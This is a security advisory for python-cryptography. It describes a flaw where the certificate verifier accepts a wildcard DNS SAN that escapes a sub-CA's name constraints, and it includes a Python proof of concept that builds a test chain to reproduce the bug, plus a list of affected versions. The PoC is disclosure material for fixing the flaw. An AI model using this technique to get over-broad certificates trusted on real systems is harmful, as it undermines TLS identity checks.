PYSEC-2026-3554

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3554.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3554
Aliases
Published
2026-08-04T11:34:48.085980Z
Modified
2026-08-04T14:30:26.230323446Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P CVSS Calculator
Summary
python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

References

Affected packages

PyPI / cryptography

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
49.0.0

Affected versions

0.*
0.1
0.2
0.2.1
0.2.2
0.3
0.4
0.5
0.5.1
0.5.2
0.5.3
0.5.4
0.6
0.6.1
0.7
0.7.1
0.7.2
0.8
0.8.1
0.8.2
0.9
0.9.1
0.9.2
0.9.3
1.*
1.0
1.0.1
1.0.2
1.1
1.1.1
1.1.2
1.2
1.2.1
1.2.2
1.2.3
1.3
1.3.1
1.3.2
1.3.3
1.3.4
1.4
1.5
1.5.1
1.5.2
1.5.3
1.6
1.7
1.7.1
1.7.2
1.8
1.8.1
1.8.2
1.9
2.*
2.0
2.0.1
2.0.2
2.0.3
2.1
2.1.1
2.1.2
2.1.3
2.1.4
2.2
2.2.1
2.2.2
2.3
2.3.1
2.4
2.4.1
2.4.2
2.5
2.6
2.6.1
2.7
2.8
2.9
2.9.1
2.9.2
3.*
3.0
3.1
3.1.1
3.2
3.2.1
3.3
3.3.1
3.3.2
3.4
3.4.1
3.4.2
3.4.3
3.4.4
3.4.5
3.4.6
3.4.7
3.4.8
35.*
35.0.0
36.*
36.0.0
36.0.1
36.0.2
37.*
37.0.0
37.0.1
37.0.2
37.0.3
37.0.4
38.*
38.0.0
38.0.1
38.0.2
38.0.3
38.0.4
39.*
39.0.0
39.0.1
39.0.2
40.*
40.0.0
40.0.1
40.0.2
41.*
41.0.0
41.0.1
41.0.2
41.0.3
41.0.4
41.0.5
41.0.6
41.0.7
42.*
42.0.0
42.0.1
42.0.2
42.0.3
42.0.4
42.0.5
42.0.6
42.0.7
42.0.8
43.*
43.0.0
43.0.1
43.0.3
44.*
44.0.0
44.0.1
44.0.2
44.0.3
45.*
45.0.0
45.0.1
45.0.2
45.0.3
45.0.4
45.0.5
45.0.6
45.0.7
46.*
46.0.0
46.0.1
46.0.2
46.0.3
46.0.4
46.0.5
46.0.6
46.0.7
47.*
47.0.0
48.*
48.0.0
48.0.1

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3554.yaml"